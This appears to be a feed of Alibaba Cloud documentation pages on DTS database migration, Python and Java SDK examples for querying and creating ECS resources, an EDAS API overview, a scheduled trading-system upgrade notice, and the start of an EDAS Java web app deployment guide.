      DTS提供的数据迁移功能能够支持同异构数据源之间的数据迁移,同时提供了库表列三级映射、数据过滤多种ETL特性。您可以使用DTS进行零停机迁移,在迁移过程中,源数据库正常持续提供服务,最大程度降低迁移对业务的影响。DTS支持的数据库类型请参见数据迁移

      操作步骤

      1. 登录数据传输DTS控制台
      2. 在左侧导航栏,单击数据迁移
      3. 选择ECS实例所在地域,并单击创建迁移任务
      4. 配置迁移任务。
        1. 配置任务名称。

          您可以使用默认的名称或者自定义名称。

        2. 配置源库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 源ECS实例所在地域。
          ECS实例ID 源ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 源ECS实例上自建数据库的类型。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 源ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        3. 单击源库信息右下角的测试连接

          当返回的结果为测试通过时,表示源库连接正常。

        4. 配置目标库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 目标ECS实例所在地域。
          ECS实例ID 目标ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 与源ECS实例自建数据库类型相同。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 目标ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        5. 单击目标库信息右下角的测试连接

          当返回的结果为测试通过时,表示目标库连接正常。

        6. 单击授权白名单并进入下一步
      5. 配置迁移类型及迁移对象。
        1. 配置迁移类型。

          • 业务零停机迁移,请选择:结构迁移+全量数据迁移+增量数据迁移。
          • 全量迁移,请选择:结构迁移+全量数据迁移。

        2. 配置迁移对象。

          迁移对象框中单击要迁移的数据库对象,如数据库、表或列,然后单击>添加到已选择对象框中。

          说明 默认情况下,数据库对象迁移到ECS自建MySQL实例后,对象名跟本地MySQL实例一致。如果迁移的数据库对象在源实例跟目标实例上名称不同,您需要使用DTS提供的对象名映射功能,详细信息请参见库表列映射

      6. 单击预检查并启动

        在迁移任务正式启动之前,会预检查连通性、权限及日志格式等。下图表示预检查成功通过。

        预检查通过后,您可以在迁移任务列表中查看迁移任务的迁移状态及进度。

      ]]> 查询ECS实例_Python示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 查询ECS实例

      更新时间:2020-05-06 15:17:51

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      除ECS管理控制台外,您还能通过API管理ECS实例。阿里云提供了多语言版本SDK来封装API。本文基于Python语言介绍如何通过API查询ECS实例。

      背景信息

      查询ECS实例相关信息的完整代码示例请参见完整代码,代码示例解析请参见:

      更多代码示例请参见阿里云代码示例库(CodeSample)

      获取RAM用户AccessKey

      使用API管理ECS实例,您需要能访问ECS资源的AccessKey(AccessKey ID和AccessKey Secret)。为了保证云服务的安全,您需要创建一个能访问ECS资源的RAM用户,获取该用户的AccessKey,并使用这个RAM用户和API管理ECS实例。

      按以下步骤获取RAM用户AccessKey:

      1. 创建RAM用户。具体步骤请参见创建RAM用户
      2. 获取RAM用户AccessKey。具体步骤请参见创建AccessKey
      3. 为RAM用户授权,授予RAM用户管理云服务器服务(ECS)的权限。具体步骤请参见为RAM用户授权

      安装ECS Python SDK

      首先确保您已经具备Python的Runtime,本文中使用的Python版本为2.7+。

      运行以下命令,安装Python SDK:

      pip install aliyun-python-sdk-ecs

      如果提示您没有权限,请切换sudo继续执行。

      sudo pip install aliyun-python-sdk-ecs

      本文使用的SDK版本为2.1.2。

      完整代码

      本文的完整代码如下所示,您可以自行根据实际情况修改代码内容。

      #  coding=utf-8
      # if the python sdk is not install using 'sudo pip install aliyun-python-sdk-ecs'
      # if the python sdk is install using 'sudo pip install --upgrade aliyun-python-sdk-ecs'
      # make sure the sdk version is greater than 2.1.2, you can use command 'pip show aliyun-python-sdk-ecs' to check
      import json
      import logging
      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.DescribeRegionsRequest import DescribeRegionsRequest
      # configuration the log output formatter, if you want to save the output to file,
      # append ",filename='ecs_invoke.log'" after datefmt.
      
      logging.basicConfig(level=logging.INFO, format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', datefmt='%a, %d %b %Y %H:%M:%S')
      clt = client.AcsClient('<accessKeyId>', '<accessSecret>', '<region-Id>')
      
      # sample api to list aliyun open api.
      def hello_aliyun_regions():
          request = DescribeRegionsRequest()
          response = _send_request(request)
          if response is not None:
              region_list = response.get('Regions').get('Region')
              assert response is not None
              assert region_list is not None
              result = map(_print_region_id, region_list)
              logging.info("region list: %s", result)
      
      # output the instance owned in current region.
      def list_instances():
          request = DescribeInstancesRequest()
          response = _send_request(request)
          if response is not None:
              instance_list = response.get('Instances').get('Instance')
              result = map(_print_instance_id, instance_list)
              logging.info("current region include instance %s", result)
      
      def _print_instance_id(item):
          instance_id = item.get('InstanceId');
          return instance_id
      
      def _print_region_id(item):
          region_id = item.get("RegionId")
          return region_id
      
      # send open api request
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      
      if __name__ == '__main__':
          logging.info("Hello Aliyun OpenApi!")
          hello_aliyun_regions()
          list_instances()

      查询当前账号支持的地域列表

      创建文件hello_ecs_api.py。为了使用SDK,首先实例化AcsClient对象,这里需要RAM用户的AccessKey ID和AccessKey Secret。

      说明 AccessKey ID和AccessKey Secret是RAM用户访问阿里云ECS服务API的密钥,具有该账户完全的权限,请妥善保管。

      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.DescribeRegionsRequest import DescribeRegionsRequest
      clt = client.AcsClient('<accessKeyId>', '<accessSecret>', '<region-Id>')

      完成实例化后。查询当前账号支持的地域列表。详情请参见DescribeRegions

      def hello_aliyun_regions():
          request = DescribeRegionsRequest()
          response = _send_request(request)
          region_list = response.get('Regions').get('Region')
          assert response is not None
          assert region_list is not None
          result = map(_print_region_id, region_list)
          logging.info("region list: %s", result)
      def _print_region_id(item):
          region_id = item.get("RegionId")
          return region_id
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      hello_aliyun_regions()

      在命令行运行python hello_ecs_api.py会得到当前支持的 Region列表。输出示例如下:

      [u'cn-shenzhen', u'ap-southeast-1', u'cn-qingdao', u'cn-beijing', u'cn-shanghai', u'us-east-1', u'cn-hongkong', u'me-east-1', u'ap-southeast-2', u'cn-hangzhou', u'eu-central-1', u'ap-northeast-1', u'us-west-1']

      查询指定地域下的ECS实例

      查询实例列表和查询Region列表非常类似,替换入参对象为DescribeInstancesRequest即可,更多详情,请参见DescribeInstances

      def list_instances():
          request = DescribeInstancesRequest()
          response = _send_request(request)
          if response is not None:
              instance_list = response.get('Instances').get('Instance')
              result = map(_print_instance_id, instance_list)
              logging.info("current region include instance %s", result)
      def _print_instance_id(item):
          instance_id = item.get('InstanceId');
          return instance_id

      输出结果示例如下:

      current region include instance [u'i-bp165p6xk2tmdhj0****', u'i-bp1a01zbqmsun5odo****'']

      更多API请参见API概览,您可以尝试查询磁盘列表(DescribeDisks),将实例的参数替换为DescribeDisksRequest

      ]]> 通过SDK使用ECS实例_快速入门_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过SDK使用ECS实例

      更新时间:2020-05-14 22:22:57

      本页目录

      如果您是一位开发者,可以通过SDK的方式创建ECS实例。本文介绍如何通过Java SDK创建ECS实例。

      准备Java SDK环境

      在使用Java SDK创建ECS实例前,您需要配置好Java SDK环境,并在Maven项目的pom.xml文件中,添加阿里云核心库aliyun-java-sdk-core、云服务器aliyun-java-sdk-ecs、专有网络aliyun-java-sdk-vpc和fastjson依赖。详情请参见安装Java SDK

      pom.xml文件中新增专有网络aliyun-java-sdk-vpc依赖,如下所示。

      <dependencies>
              <dependency>
                  <groupId>com.aliyun</groupId>
                  <artifactId>aliyun-java-sdk-core</artifactId>
                  <version>4.4.3</version>
              </dependency>
              <dependency>
                  <groupId>com.aliyun</groupId>
                  <artifactId>aliyun-java-sdk-ecs</artifactId>
                  <version>4.17.1</version>
              </dependency>
              <dependency>
                  <groupId>com.alibaba</groupId>
                  <artifactId>fastjson</artifactId>
                  <version>1.2.60</version>
              </dependency>
              <dependency>
                  <groupId>com.aliyun</groupId>
                  <artifactId>aliyun-java-sdk-vpc</artifactId>
                  <version>3.0.9</version>
              </dependency>
          </dependencies>

      获取AccessKey信息

      创建AccessKey,具体请参见创建AccessKey

      说明 为避免主账号泄露AccessKey带来的安全风险,建议您创建RAM用户,授予RAM用户云服务器ECS相关的访问权限,再使用RAM用户的AccessKey调用SDK。详情请参见账号访问控制

      创建ak创建ak2

      创建ECS实例所需资源

      在创建ECS实例前,您需要先创建专有网络VPC和安全组。

      说明 如果已经存在专有网络VPC和安全组,您也可以获取交换机ID和安全组ID后,直接购买ECS实例。具体请参见购买ECS实例

      1. 创建VPC。

        华东1 杭州创建专有网络VPC,VPC网段为192.168.0.0/16。
        API 参数 示例取值
        CreateVpc RegionId 地域:cn-hangzhou
        CidrBlock VPC网段:192.168.0.0/16

        以下代码示例表示创建VPC。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import com.aliyuncs.vpc.model.v20160428.*;
        
        public class CreateVpc {
        
            public static void main(String[] args) {
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou","<accessKeyId>", "<accessSecret>");
                IAcsClient client = new DefaultAcsClient(profile);
        
                CreateVpcRequest request = new CreateVpcRequest();
                request.setRegionId("cn-hangzhou");
                request.setCidrBlock("192.168.0.0/16");
        
                try {
                    CreateVpcResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
        
            }
        }

        返回结果如下所示。

        {
            "requestId":"5BE6AEA4-347F-46A9-9808-B429EF02****",
            "vpcId":"vpc-bp1h99qfh290thxml****",
            "vRouterId":"vrt-bp1cbum5ozelljyet****",
            "routeTableId":"vtb-bp1qm6p3yoww2cv10****",
            "resourceGroupId":"rg-acfmzw2jz2z****"
        }

      2. 创建交换机。

        在VPC中创建交换机,交换机网段为192.168.0.0/24。
        API 参数 示例取值
        CreateVSwitch ZoneId 可用区:cn-hangzhou-i
        VpcId VPC ID:使用步骤1返回的结果。

        示例:vpc-bp1h99qfh290thxml****

        CidrBlock 交换机网段:192.168.0.0/24

        以下代码示例表示创建交换机。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import java.util.*;
        import com.aliyuncs.vpc.model.v20160428.*;
        
        public class CreateVSwitch {
        
            public static void main(String[] args) {
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
                IAcsClient client = new DefaultAcsClient(profile);
        
                CreateVSwitchRequest request = new CreateVSwitchRequest();
                request.setRegionId("cn-hangzhou");
                request.setCidrBlock("192.168.0.0/24");
                request.setVpcId("vpc-bp1h99qfh290thxml****");
                request.setZoneId("cn-hangzhou-i");
        
                try {
                    CreateVSwitchResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
        
            }
        }

        返回结果如下所示。

        {
            "requestId": "BAFBC8C4-3C65-427B-B470-3D257288****",
            "vSwitchId": "vsw-bp1mihse903i05oxn****"
        }

      3. 创建安全组。

        API 参数 示例取值
        CreateSecurityGroup RegionId 地域:cn-hangzhou
        VpcId VPC ID:使用步骤1返回的结果。

        示例:vpc-bp1h99qfh290thxml****

        以下代码示例表示创建安全组。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import java.util.*;
        import com.aliyuncs.ecs.model.v20140526.*;
        
        public class CreateSecurityGroup {
        
            public static void main(String[] args) {
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
                IAcsClient client = new DefaultAcsClient(profile);
        
                CreateSecurityGroupRequest request = new CreateSecurityGroupRequest();
                request.setRegionId("cn-hangzhou");
                request.setVpcId("vpc-bp1h99qfh290thxml****");
        
                try {
                    CreateSecurityGroupResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
        
            }
        }

        返回结果如下所示。

        {
            "requestId": "718D29C6-6183-4196-AD76-A53F6A6E****",
            "securityGroupId": "sg-bp1dve08xy2c8y9g****"
        }

      4. 在安全组中添加入方向放行规则。

        API 参数 示例取值
        AuthorizeSecurityGroup RegionId 地域:cn-hangzhou
        SecurityGroupId 安全组ID:使用步骤3返回的结果。

        示例:sg-bp1dve08xy2c8y9g****

        IpProtocol 协议:tcp
        SourceCidrIp 源CIDR:0.0.0.0/0
        PortRange 端口范围:
        • Linux实例:22/22
        • Windows实例:3389/3389

        以下代码示例表示添加安全组规则。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import java.util.*;
        import com.aliyuncs.ecs.model.v20140526.*;
        
        public class AuthorizeSecurityGroup {
        
            public static void main(String[] args) {
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
                IAcsClient client = new DefaultAcsClient(profile);
        
                AuthorizeSecurityGroupRequest request = new AuthorizeSecurityGroupRequest();
                request.setRegionId("cn-hangzhou");
                request.setSecurityGroupId("sg-bp1dve08xy2c8y9g****");
                request.setIpProtocol("tcp");
                request.setPortRange("22/22");
                request.setSourceCidrIp("0.0.0.0/0");
        
                try {
                    AuthorizeSecurityGroupResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
        
            }
        }

        返回结果如下所示。

        {
            "requestId": "7052E70F-4678-4400-81CF-E0133CCB****"
        }

      购买ECS实例

      购买一个包年包月的ECS实例。

      API 参数 示例取值
      RunInstances RegionId 地域:cn-hangzhou
      ImageId 镜像:推荐使用Aliyun Linux镜像aliyun_2_1903_x64_20G_alibase_20200324.vhd
      InstanceType 实例规格:
      • 个人应用:推荐选择1核2G的实例规格ecs.s6-c1m2.small
      • 中小企业应用:推荐选择2核4G的实例规格ecs.c5.large
      SecurityGroupId 安全组ID:使用步骤3返回的结果。

      示例:sg-bp1dve08xy2c8y9g****

      VSwitchId 交换机ID:使用步骤2返回的结果。

      示例:vsw-bp1mihse903i05oxn****

      InstanceName 实例名称。

      示例:ecs_sdk_demo

      InstanceChargeType 付费方式:实例按照包年包月的付费方式PrePaid

      说明 您需要确保账号余额能够完成支付。

      PeriodUnit 付费周期单位:Month
      Period 付费时长:1
      InternetMaxBandwidthOut 公网IP带宽:1
      Password 实例登录密码:<yourPassword>

      说明 您需要自定义复杂密码以保护ECS实例的安全。

      以下代码示例表示创建包年包月的ECS实例。

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.google.gson.Gson;
      import java.util.*;
      import com.aliyuncs.ecs.model.v20140526.*;
      
      public class RunInstances {
      
          public static void main(String[] args) {
              DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
              IAcsClient client = new DefaultAcsClient(profile);
      
              RunInstancesRequest request = new RunInstancesRequest();
              request.setRegionId("cn-hangzhou");
              request.setImageId("aliyun_2_1903_x64_20G_alibase_20200324.vhd");
              request.setInstanceType("ecs.s6-c1m2.small");
              request.setSecurityGroupId("sg-bp1dve08xy2c8y9g****");
              request.setVSwitchId("vsw-bp1mihse903i05oxn****");
              request.setInstanceName("ecs_sdk_demo");
              request.setInternetMaxBandwidthOut(1);
              request.setPassword("<yourPassword>");
              request.setPeriod(1);
              request.setPeriodUnit("Month");
              request.setInstanceChargeType("PrePaid");
      
              try {
                  RunInstancesResponse response = client.getAcsResponse(request);
                  System.out.println(new Gson().toJson(response));
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
      
          }
      }

      返回结果如下所示。

      {
          "requestId": "9582F9F2-349C-438E-A6A2-3E7B6B56****",
          "tradePrice": ****,
          "instanceIdSets": ["i-bp1hcv43i3glqxbv****"]
      }

      连接ECS实例

      此示例介绍通过Cloud Shell登录Linux实例。如果您安装的是Windows实例,登录方式请参见在本地客户端上连接Windows实例

      1. 查询实例公网IP地址。

        API 参数 示例取值
        DescribeInstances RegionId 地域:cn-hangzhou
        InstanceIds 实例ID:使用购买ECS实例返回的结果。

        示例:'["i-bp1hcv43i3glqxbv****"]'

        以下代码示例表示查询实例公网IP。

        aliyun ecs DescribeInstances 
        --RegionId cn-hangzhou 
        --InstanceIds '["i-bp1hcv43i3glqxbv****"]'

        在返回结果中找到以下公网IP信息。

        公网IP

      2. 通过SSH登录ECS实例。

        ssh登录

      实例到期释放

      包年包月实例到期后,您可以手动释放。如果一直未续费,实例也会自动释放。

      ]]> ECS集群API概览_API 参考_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS集群API概览

      更新时间:2020-05-14 19:58:50

      本页目录

      文本罗列了企业级分布式应用服务EDAS的ECS集群相关的API接口。

      说明 ECS集群包含集群归属为阿里云和非阿里云的两种形态:

      • 在阿里云ECS集群中,您既可以通过在EDAS的ECS集群中代购ECS实例来创建应用,也可以在ECS控制台购买ECS实例后导入到ECS集群中来创建应用。ECS集群详情请参见创建 ECS 集群
      • 在非阿里云ECS集群中,您可以将公共云、本地IDC或及其它云服务提供商的实例通过专线连通,并添加到EDAS公共云的ECS集群中。非阿里云ECS集群详情请参见在混合云中部署应用

      背景信息

      ECS集群相关的API涉及的一些概念介绍如下:

      • Region:指的是在各产品控制台顶部导航栏看到的华东1(杭州)、华东2(上海)、华北2(北京)等地域。
      • 命名空间:指的是EDAS中设计的用于隔离集群、ECS实例和应用等资源及在EDAS中发布的微服务的一个逻辑概念,包括默认命名空间和自定义命名空间,每个地域下面包括一个默认命名空间和若干个自定义命名空间,默认情况下只有默认命名空间,如果不想隔离资源及微服务,则不必创建自定义命名空间。
      • ECU:ECS导入到集群中后即为ECU。
      • ECC:集群中的ECU在应用中部署后即成为ECC。

      资源管理

      API 描述 支持的集群形态
      ListAliyunRegion 获取阿里云地域(Region)列表,每个地域下会有对应的默认命名空间。 阿里云ECS集群和非阿里云ECS集群
      ListEcuByRegion 根据指定RegionId获取已导入EDAS的实例列表 阿里云ECS集群和非阿里云ECS集群
      MigrateEcu 迁移已导入EDAS中的ECS实例到指定的命名空间内 阿里云ECS集群
      QueryMigrateRegionList 查询可供迁移的命名空间列表 阿里云ECS集群和非阿里云ECS集群
      QueryMigrateEcuList 查询可供迁移的已导入EDAS中的ECS实例列表 阿里云ECS集群
      QueryRegionConfig 获取阿里云物理Region的配置信息 阿里云ECS集群和非阿里云ECS集群
      ListApplicationEcu 获取ECU列表 阿里云ECS集群和非阿里云ECS集群
      DeleteEcu 删除指定的ECU 阿里云ECS集群和非阿里云ECS集群
      ListScaleOutEcu 获取在创建应用或扩容前可用的ECS实例列表 阿里云ECS集群和非阿里云ECS集群
      SynchronizeResource 同步阿里云基础资源到EDAS 阿里云ECS集群
      InsertCluster 创建集群 阿里云ECS集群和非阿里云ECS集群
      DeleteCluster 删除集群 阿里云ECS集群和非阿里云ECS集群
      ListConvertableEcu 获取导入到指定集群的ECS实例 阿里云ECS集群
      ListEcsNotInCluster 获取所有未导入集群的ECS实例 阿里云ECS集群
      InsertClusterMember 向集群中添加ECS实例 阿里云ECS集群
      ListClusterMembers 根据集群ID获取实例列表 阿里云ECS集群和非阿里云ECS集群
      DeleteClusterMember 删除集群实例 阿里云ECS集群和非阿里云ECS集群
      GetCluster 获取集群详细信息 阿里云ECS集群和非阿里云ECS集群
      ListCluster 获取集群列表 阿里云ECS集群和非阿里云ECS集群
      TransformClusterMember 将ECS实例从一个集群中转移或者导入到另一个集群中去。

      注意 没有导入到集群中的ECS实例无法转移集群。

      阿里云ECS集群和非阿里云ECS集群
      InstallAgent 安装EDAS Agent 阿里云ECS集群
      ListResourceGroup 获取资源组列表 阿里云ECS集群和非阿里云ECS集群
      ListSlb 取得SLB列表 阿里云ECS集群和非阿里云ECS集群
      ListVpc 取得VPC列表 阿里云ECS集群和非阿里云ECS集群
      GetPackageStorageCredential 换取临时存储包所需的STS 阿里云ECS集群和非阿里云ECS集群

      应用管理

      命名空间
      API 描述 支持的集群形态
      InsertOrUpdateRegion 创建或编辑用户自定义命名空间 阿里云ECS集群和非阿里云ECS集群
      DeleteUserDefineRegion 删除用户自定义命名空间 阿里云ECS集群和非阿里云ECS集群
      ListUserDefineRegion 获取用户自定义命名空间列表 阿里云ECS集群和非阿里云ECS集群
      GetSecureToken 获取给定命名空间的SecureToken信息 阿里云ECS集群和非阿里云ECS集群
      生命周期管理
      API 描述 支持的集群形态
      InsertApplication 创建应用 阿里云ECS集群和非阿里云ECS集群
      DeployApplication 部署应用 阿里云ECS集群和非阿里云ECS集群
      GetApplication 获取应用信息 阿里云ECS集群和非阿里云ECS集群
      DeleteApplication 删除应用实例 阿里云ECS集群和非阿里云ECS集群
      ListApplication 获取应用列表 阿里云ECS集群和非阿里云ECS集群
      ScaleOutApplication 扩容应用实例 阿里云ECS集群和非阿里云ECS集群
      ScaleInApplication 扩容或下线应用实例 阿里云ECS集群和非阿里云ECS集群
      ModifyScalingRule 设置扩容规则 阿里云ECS集群和非阿里云ECS集群
      GetScalingRules 获取扩缩容规则 阿里云ECS集群和非阿里云ECS集群
      StartApplication 启动应用 阿里云ECS集群和非阿里云ECS集群
      StopApplication 停止应用 阿里云ECS集群和非阿里云ECS集群
      ResetApplication 重置应用 阿里云ECS集群和非阿里云ECS集群
      RestartApplication 重启应用 阿里云ECS集群和非阿里云ECS集群
      RollbackApplication 回滚应用 阿里云ECS集群和非阿里云ECS集群
      设置应用
      API 描述 支持的集群形态
      QueryEccInfo 查询ECC信息 阿里云ECS集群和非阿里云ECS集群
      QueryApplicationStatus 查询应用状态 阿里云ECS集群和非阿里云ECS集群
      UpdateApplicationBaseInfo 修改应用名称、描述信息和Owner信息。 阿里云ECS集群和非阿里云ECS集群
      ListHistoryDeployVersion 应用发布历史版本列表 阿里云ECS集群和非阿里云ECS集群
      BindSlb 绑定SLB 阿里云ECS集群
      UnbindSlb 解除绑定SLB 阿里云ECS集群
      InsertDeployGroup 创建部署分组 阿里云ECS集群和非阿里云ECS集群
      ChangeDeployGroup 更换部署分组 阿里云ECS集群和非阿里云ECS集群
      DeleteDeployGroup 删除部署分组 阿里云ECS集群和非阿里云ECS集群
      ListDeployGroup 获取部署分组列表 阿里云ECS集群和非阿里云ECS集群
      UpdateContainer 更新应用的运行时环境 阿里云ECS集群和非阿里云ECS集群
      UpdateHealthCheckUrl 设置健康检查URL 阿里云ECS集群和非阿里云ECS集群
      GetContainerConfiguration 获取应用/分组下的Tomcat设置信息 阿里云ECS集群和非阿里云ECS集群
      UpdateContainerConfiguration 设置应用或应用分组下的Tomcat信息 阿里云ECS集群和非阿里云ECS集群
      GetJvmConfiguration 获取应用/分组内的JVM设置 阿里云ECS集群和非阿里云ECS集群
      UpdateJvmConfiguration 设置应用下分组JVM 阿里云ECS集群和非阿里云ECS集群
      ListBuildPack 获取容器版本列表 阿里云ECS集群和非阿里云ECS集群
      ListComponents 查询组件列表 阿里云ECS集群和非阿里云ECS集群
      GetChangeOrderInfo 查看变更流程详情 阿里云ECS集群和非阿里云ECS集群
      ListRecentChangeOrder 变更历史列表 阿里云ECS集群和非阿里云ECS集群
      AbortChangeOrder 终止变更单 阿里云ECS集群和非阿里云ECS集群
      RollbackChangeOrder 回滚变更单 阿里云ECS集群和非阿里云ECS集群
      ContinuePipeline 手动确认执行下一批 阿里云ECS集群和非阿里云ECS集群
      QueryMonitorInfo 查询监控信息 阿里云ECS集群和非阿里云ECS集群

      系统管理

      API 描述 支持的集群形态
      AuthorizeApplication 授权应用 阿里云ECS集群和非阿里云ECS集群
      AuthorizeResourceGroup 授权资源组 阿里云ECS集群和非阿里云ECS集群
      AuthorizeRole 授权角色 阿里云ECS集群和非阿里云ECS集群
      DeleteRole 删除角色 阿里云ECS集群和非阿里云ECS集群
      ListAuthority 查询所有权限 阿里云ECS集群和非阿里云ECS集群
      ListRole 获取角色列表 阿里云ECS集群和非阿里云ECS集群
      ListSubAccount 获取子账号列 阿里云ECS集群和非阿里云ECS集群
      InsertRole 创建角色 阿里云ECS集群和非阿里云ECS集群
      UpdateAccountInfo 编辑账号信息 阿里云ECS集群和非阿里云ECS集群
      UpdateRole 编辑角色 阿里云ECS集群和非阿里云ECS集群

      服务管理

      API 描述 支持的集群形态
      DeleteServiceGroup 删除服务分组 阿里云ECS集群和非阿里云ECS集群
      InsertServiceGroup 创建服务分组 阿里云ECS集群和非阿里云ECS集群
      ListConsumedServices 查询消费的服务 阿里云ECS集群和非阿里云ECS集群
      ListPublishedServices 查询发布的服务 阿里云ECS集群和非阿里云ECS集群
      ListPublishedServices 查询服务分组列表 阿里云ECS集群和非阿里云ECS集群
      ListMethods 查询服务方法列表 阿里云ECS集群和非阿里云ECS集群

      ]]> 【升级】5月16日阿里云交易系统升级通知 Fri, 02 May 2025 09:39:04 +0800 【阿里云】【交易系统】【升级通知】

      升级时间:2020-05-16 01:00 - 08:00

      升级影响:

      主要链路影响:

      1. 云资源及服务的下单、开通、变配业务暂时停止受理(含提货券、公共云代客下单),包括并不限于:无法操作新购、开通、升级、续费、支付、退款、提货券激活等业务。(含分销商用户)

      2. 费用中心各类查询服务暂停,计量、账单导出功能暂停使用,合同无法正常开具。

      3. 预付费实例到期停机、后付费欠费停机等业务执行会延迟到迁移结束后。

      4. 迁移时段内,已停机实例暂不支持结清后复机、续费功能,如您有即将到期、欠费实例,请特别关注提前准备。

      5. 各种资产及用量相关的通知业务存在延迟,包括并不限于:低余额提醒、欠费预警、资源包余量提醒、欠费停机等。

      6. 财务云整体功能暂停使用。

      7.通过OpenApi方式提供的能力同样也受到上述影响。

      其他影响:

      1. 阿里云会员:领取任务,下单或实名认证后无法获得对应的积分。

      2. 云大使:推广订单无法获得返佣,或佣金计算延迟。

      3. 官网表单无法提交;抽奖无法执行;期间任务类型的活动,比如浏览加积分等无法参与。

      4. 费用中心账单、收支明细、发票数据会延迟约16小时。

      5.通过OpenApi方式提供的能力同样也受到上述影响。


      ]]>
      在 ECS 集群中创建 Java Web 应用_控制台部署_应用部署_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在 ECS 集群中创建 Java Web 应用

      更新时间:2020-05-11 16:57:59

      本页目录

      一个 ECS 只能创建并部署一个应用。在 ECS 集群中创建 Java Web 应用是指在 ECS 实例上安装 EDAS Container,然后将应用通过 WAR 包或 JAR 包部署到 EDAS Container 中。本文档将指导您在 EDAS 控制台上创建并用 WAR 包来部署一个仅包含欢迎页面的 Java Web 应用。

      前提条件

      完成本教程中的步骤需要完成以下任务:
      1. 开通 EDAS
      2. 创建 VPC
      3. 创建命名空间
      4. 创建 ECS 集群
      5. 同步 SLB 到 EDAS:仅当需要配置负载均衡时需完成该配置。

      背景信息

      通过本文档,将了解如何:

      在 ECS 集群中创建应用

      1. 登录 EDAS 控制台
      2. 在左侧导航栏中选择应用管理 > 应用列表
      3. 应用列表应用列表页面左上角单击创建应用

        默认会进入新版创建应用页面,新版创建应用的操作步骤请参见快速创建 Demo 微服务应用简介。本文介绍旧版的创建应用。

      4. 创建应用页面右上角单击切换回老版
      5. 在创建应用流程的应用基本信息页面中,输入应用基本信息,然后单击下一步进入应用部署配置页面。

